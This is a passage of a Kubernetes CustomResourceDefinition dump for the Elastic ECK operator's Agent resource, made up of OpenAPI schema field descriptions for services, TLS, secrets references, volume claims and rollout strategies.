https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"image":{"description":"Image is the Agent Docker image to deploy. Version has to match the Agent in the image.","type":"string"},"kibanaRef":{"description":"KibanaRef is a reference to Kibana where Fleet should be set up and this Agent should be enrolled. Don't set\nunless `mode` is set to `fleet`.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"mode":{"description":"Mode specifies the source of configuration for the Agent. The configuration can be specified locally through\n`config` or `configRef` (`standalone` mode), or come from Fleet during runtime (`fleet` mode).\nDefaults to `standalone` mode.","enum":["standalone","fleet"],"type":"string"},"policyID":{"description":"PolicyID determines into which Agent Policy this Agent will be enrolled.\nThis field will become mandatory in a future release, default policies are deprecated since 8.1.0.","type":"string"},"revisionHistoryLimit":{"description":"RevisionHistoryLimit is the number of revisions to retain to allow rollback in the underlying DaemonSet or Deployment or StatefulSet.","format":"int32","type":"integer"},"secureSettings":{"description":"SecureSettings is a list of references to Kubernetes Secrets containing sensitive configuration options for the Agent.\nSecrets data can be then referenced in the Agent config using the Secret's keys or as specified in `Entries` field of\neach SecureSetting.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array"},"serviceAccountName":{"description":"ServiceAccountName is used to check access from the current resource to an Elasticsearch resource in a different namespace.\nCan only be used if ECK is enforcing RBAC on references.","type":"string"},"statefulSet":{"description":"StatefulSet specifies the Agent should be deployed as a StatefulSet, and allows providing its spec.\nCannot be used along with `daemonSet` or `deployment`.","properties":{"podManagementPolicy":{"default":"Parallel","description":"PodManagementPolicy controls how pods are created during initial scale up,\nwhen replacing pods on nodes, or when scaling down. The default policy is\n`Parallel`, where pods are created in parallel to match the desired scale\nwithout waiting, and on scale down will delete all pods at once.\nThe alternative policy is `OrderedReady`, the default for vanilla kubernetes\nStatefulSets, where pods are created in increasing order in increasing order\n(pod-0, then pod-1, etc.) and the controller will wait until each pod is ready before\ncontinuing. When scaling down, the pods are removed in the opposite order.","enum":["OrderedReady","Parallel"],"type":"string"},"podTemplate":{"description":"PodTemplateSpec describes the data a pod should have when created from a template","type":"object","x-kubernetes-preserve-unknown-fields":true},"replicas":{"format":"int32","type":"integer"},"serviceName":{"type":"string"},"volumeClaimTemplates":{"description":"VolumeClaimTemplates is a list of persistent volume claims to be used by each Pod.\nEvery claim in this list must have a matching volumeMount in one of the containers defined in the PodTemplate.\nItems defined here take precedence over any default claims added by the operator with the same name.","items":{"description":"PersistentVolumeClaim is a user's request for and claim to a persistent volume","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"description":"Standard object's metadata.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"spec defines the desired characteristics of a volume requested by a pod author.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#persistentvolumeclaims","properties":{"accessModes":{"description":"accessModes contains the desired access modes the volume should have.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#access-modes-1","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"dataSource":{"description":"dataSource field can be used to specify either:\n* An existing VolumeSnapshot object (snapshot.storage.k8s.io/VolumeSnapshot)\n* An existing PVC (PersistentVolumeClaim)\nIf the provisioner or an external controller can support the specified data source,\nit will create a new volume based on the contents of the specified data source.\nWhen the AnyVolumeDataSource feature gate is enabled, dataSource contents will be copied to dataSourceRef,\nand dataSourceRef contents will be copied to dataSource when dataSourceRef.namespace is not specified.\nIf the namespace is specified, then dataSourceRef will not be copied to dataSource.","properties":{"apiGroup":{"description":"APIGroup is the group for the resource being referenced.\nIf APIGroup is not specified, the specified Kind must be in the core API group.\nFor any other third-party types, APIGroup is required.","type":"string"},"kind":{"description":"Kind is the type of resource being referenced","type":"string"},"name":{"description":"Name is the name of resource being referenced","type":"string"}},"required":["kind","name"],"type":"object","x-kubernetes-map-type":"atomic"},"dataSourceRef":{"description":"dataSourceRef specifies the object from which to populate the volume with data, if a non-empty\nvolume is desired. This may be any object from a non-empty API group (non\ncore object) or a PersistentVolumeClaim object.\nWhen this field is specified, volume binding will only succeed if the type of\nthe specified object matches some installed volume populator or dynamic\nprovisioner.\nThis field will replace the functionality of the dataSource field and as such\nif both fields are non-empty, they must have the same value. For backwards\ncompatibility, when namespace isn't specified in dataSourceRef,\nboth fields (dataSource and dataSourceRef) will be set to the same\nvalue automatically if one of them is empty and the other is non-empty.\nWhen namespace is specified in dataSourceRef,\ndataSource isn't set to the same value and must be empty.\nThere are three important differences between dataSource and dataSourceRef:\n* While dataSource only allows two specific types of objects, dataSourceRef\n  allows any non-core object, as well as PersistentVolumeClaim objects.\n* While dataSource ignores disallowed values (dropping them), dataSourceRef\n  preserves all values, and generates an error if a disallowed value is\n  specified.\n* While dataSource only allows local objects, dataSourceRef allows objects\n  in any namespaces.\n(Beta) Using this field requires the AnyVolumeDataSource feature gate to be enabled.\n(Alpha) Using the namespace field of dataSourceRef requires the CrossNamespaceVolumeDataSource feature gate to be enabled.","properties":{"apiGroup":{"description":"APIGroup is the group for the resource being referenced.\nIf APIGroup is not specified, the specified Kind must be in the core API group.\nFor any other third-party types, APIGroup is required.","type":"string"},"kind":{"description":"Kind is the type of resource being referenced","type":"string"},"name":{"description":"Name is the name of resource being referenced","type":"string"},"namespace":{"description":"Namespace is the namespace of resource being referenced\nNote that when a namespace is specified, a gateway.networking.k8s.io/ReferenceGrant object is required in the referent namespace to allow that namespace's owner to accept the reference. See the ReferenceGrant documentation for details.\n(Alpha) This field requires the CrossNamespaceVolumeDataSource feature gate to be enabled.","type":"string"}},"required":["kind","name"],"type":"object"},"resources":{"description":"resources represents the minimum resources the volume should have.\nIf RecoverVolumeExpansionFailure feature is enabled users are allowed to specify resource requirements\nthat are lower than previous value but must still be higher than capacity recorded in the\nstatus field of the claim.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#resources","properties":{"limits":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"Limits describes the maximum amount of compute resources allowed.\nMore info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/","type":"object"},"requests":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"Requests describes the minimum amount of compute resources required.\nIf Requests is omitted for a container, it defaults to Limits if that is explicitly specified,\notherwise to an implementation-defined value. Requests cannot exceed Limits.\nMore info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/","type":"object"}},"type":"object"},"selector":{"description":"selector is a label query over volumes to consider for binding.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"storageClassName":{"description":"storageClassName is the name of the StorageClass required by the claim.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#class-1","type":"string"},"volumeAttributesClassName":{"description":"volumeAttributesClassName may be used to set the VolumeAttributesClass used by this claim.\nIf specified, the CSI driver will create or update the volume with the attributes defined\nin the corresponding VolumeAttributesClass. This has a different purpose than storageClassName,\nit can be changed after the claim is created. An empty string value means that no VolumeAttributesClass\nwill be applied to the claim but it's not allowed to reset this field to empty string once it is set.\nIf unspecified and the PersistentVolumeClaim is unbound, the default VolumeAttributesClass\nwill be set by the persistentvolume controller if it exists.\nIf the resource referred to by volumeAttributesClass does not exist, this PersistentVolumeClaim will be\nset to a Pending state, as reflected by the modifyVolumeStatus field, until such as a resource\nexists.\nMore info: https://kubernetes.io/docs/concepts/storage/volume-attributes-classes/\n(Alpha) Using this field requires the VolumeAttributesClass feature gate to be enabled.","type":"string"},"volumeMode":{"description":"volumeMode defines what type of volume is required by the claim.\nValue of Filesystem is implied when not included in claim spec.","type":"string"},"volumeName":{"description":"volumeName is the binding reference to the PersistentVolume backing this claim.","type":"string"}},"type":"object"}},"type":"object"},"type":"array"}},"type":"object"},"version":{"description":"Version of the Agent.","type":"string"}},"required":["version"],"type":"object"},"status":{"description":"AgentStatus defines the observed state of the Agent","properties":{"availableNodes":{"format":"int32","type":"integer"},"elasticsearchAssociationsStatus":{"additionalProperties":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"description":"AssociationStatusMap is the map of association's namespaced name string to its AssociationStatus. For resources that\nhave a single Association of a given type (for ex. single ES reference), this map contains a single entry.","type":"object"},"expectedNodes":{"format":"int32","type":"integer"},"fleetServerAssociationStatus":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"health":{"type":"string"},"kibanaAssociationStatus":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"observedGeneration":{"description":"ObservedGeneration is the most recent generation observed for this Elastic Agent.\nIt corresponds to the metadata generation, which is updated on mutation by the API Server.\nIf the generation observed in status diverges from the generation in metadata, the Elastic\nAgent controller has not yet processed the changes contained in the Elastic Agent specification.","format":"int64","type":"integer"},"version":{"description":"Version of the stack resource currently running. During version upgrades, multiple versions may run\nin parallel: this value specifies the lowest version currently running.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":true,"subresources":{"status":{}}}]}}
    creationTimestamp: "2025-09-23T11:55:59Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: elastic-operator
      app.kubernetes.io/name: eck-operator-crds
      app.kubernetes.io/version: 2.14.0
    name: agents.agent.k8s.elastic.co
    resourceVersion: "432308"
    uid: 1454aba0-04d6-4a03-96c3-32e7798bcf78
  spec:
    conversion:
      strategy: None
    group: agent.k8s.elastic.co
    names:
      categories:
      - elastic
      kind: Agent
      listKind: AgentList
      plural: agents
      shortNames:
      - agent
      singular: agent
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: available
        type: integer
      - description: Expected nodes
        jsonPath: .status.expectedNodes
        name: expected
        type: integer
      - description: Agent version
        jsonPath: .status.version
        name: version
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1alpha1
      schema:
        openAPIV3Schema:
          description: Agent is the Schema for the Agents API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: AgentSpec defines the desired state of the Agent
              properties:
                config:
                  description: Config holds the Agent configuration. At most one of
                    [`Config`, `ConfigRef`] can be specified.
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                configRef:
                  description: |-
                    ConfigRef contains a reference to an existing Kubernetes Secret holding the Agent configuration.
                    Agent settings must be specified as yaml, under a single "agent.yml" entry. At most one of [`Config`, `ConfigRef`]
                    can be specified.
                  properties:
                    secretName:
                      description: SecretName is the name of the secret.
                      type: string
                  type: object
                daemonSet:
                  description: |-
                    DaemonSet specifies the Agent should be deployed as a DaemonSet, and allows providing its spec.
                    Cannot be used along with `deployment` or `statefulSet`.
                  properties:
                    podTemplate:
                      description: PodTemplateSpec describes the data a pod should
                        have when created from a template
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    updateStrategy:
                      description: DaemonSetUpdateStrategy is a struct used to control
                        the update strategy for a DaemonSet.
                      properties:
                        rollingUpdate:
                          description: |-
                            Rolling update config params. Present only if type = "RollingUpdate".
                            ---
                            TODO: Update this to follow our convention for oneOf, whatever we decide it
                            to be. Same as Deployment `strategy.rollingUpdate`.
                            See https://github.com/kubernetes/kubernetes/issues/35345
                          properties:
                            maxSurge:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                The maximum number of nodes with an existing available DaemonSet pod that
                                can have an updated DaemonSet pod during during an update.
                                Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                This can not be 0 if MaxUnavailable is 0.
                                Absolute number is calculated from percentage by rounding up to a minimum of 1.
                                Default value is 0.
                                Example: when this is set to 30%, at most 30% of the total number of nodes
                                that should be running the daemon pod (i.e. status.desiredNumberScheduled)
                                can have their a new pod created before the old pod is marked as deleted.
                                The update starts by launching new pods on 30% of nodes. Once an updated
                                pod is available (Ready for at least minReadySeconds) the old DaemonSet pod
                                on that node is marked deleted. If the old pod becomes unavailable for any
                                reason (Ready transitions to false, is evicted, or is drained) an updated
                                pod is immediatedly created on that node without considering surge limits.
                                Allowing surge implies the possibility that the resources consumed by the
                                daemonset on any given node can double if the readiness check fails, and
                                so resource intensive daemonsets should take into account that they may
                                cause evictions during disruption.
                              x-kubernetes-int-or-string: true
                            maxUnavailable:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                The maximum number of DaemonSet pods that can be unavailable during the
                                update. Value can be an absolute number (ex: 5) or a percentage of total
                                number of DaemonSet pods at the start of the update (ex: 10%). Absolute
                                number is calculated from percentage by rounding up.
                                This cannot be 0 if MaxSurge is 0
                                Default value is 1.
                                Example: when this is set to 30%, at most 30% of the total number of nodes
                                that should be running the daemon pod (i.e. status.desiredNumberScheduled)
                                can have their pods stopped for an update at any given time. The update
                                starts by stopping at most 30% of those DaemonSet pods and then brings
                                up new DaemonSet pods in their place. Once the new pods are available,
                                it then proceeds onto other DaemonSet pods, thus ensuring that at least
                                70% of original number of DaemonSet pods are available at all times during
                                the update.
                              x-kubernetes-int-or-string: true
                          type: object
                        type:
                          description: Type of daemon set update. Can be "RollingUpdate"
                            or "OnDelete". Default is RollingUpdate.
                          type: string
                      type: object
                  type: object
                deployment:
                  description: |-
                    Deployment specifies the Agent should be deployed as a Deployment, and allows providing its spec.
                    Cannot be used along with `daemonSet` or `statefulSet`.
                  properties:
                    podTemplate:
                      description: PodTemplateSpec describes the data a pod should
                        have when created from a template
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    replicas:
                      format: int32
                      type: integer
                    strategy:
                      description: DeploymentStrategy describes how to replace existing
                        pods with new ones.
                      properties:
                        rollingUpdate:
                          description: |-
                            Rolling update config params. Present only if DeploymentStrategyType =
                            RollingUpdate.
                            ---
                            TODO: Update this to follow our convention for oneOf, whatever we decide it
                            to be.
                          properties:
                            maxSurge:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                The maximum number of pods that can be scheduled above the desired number of
                                pods.
                                Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                This can not be 0 if MaxUnavailable is 0.
                                Absolute number is calculated from percentage by rounding up.
                                Defaults to 25%.
                                Example: when this is set to 30%, the new ReplicaSet can be scaled up immediately when
                                the rolling update starts, such that the total number of old and new pods do not exceed
                                130% of desired pods. Once old pods have been killed,
                                new ReplicaSet can be scaled up further, ensuring that total number of pods running
                                at any time during the update is at most 130% of desired pods.
                              x-kubernetes-int-or-string: true
                            maxUnavailable:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                The maximum number of pods that can be unavailable during the update.
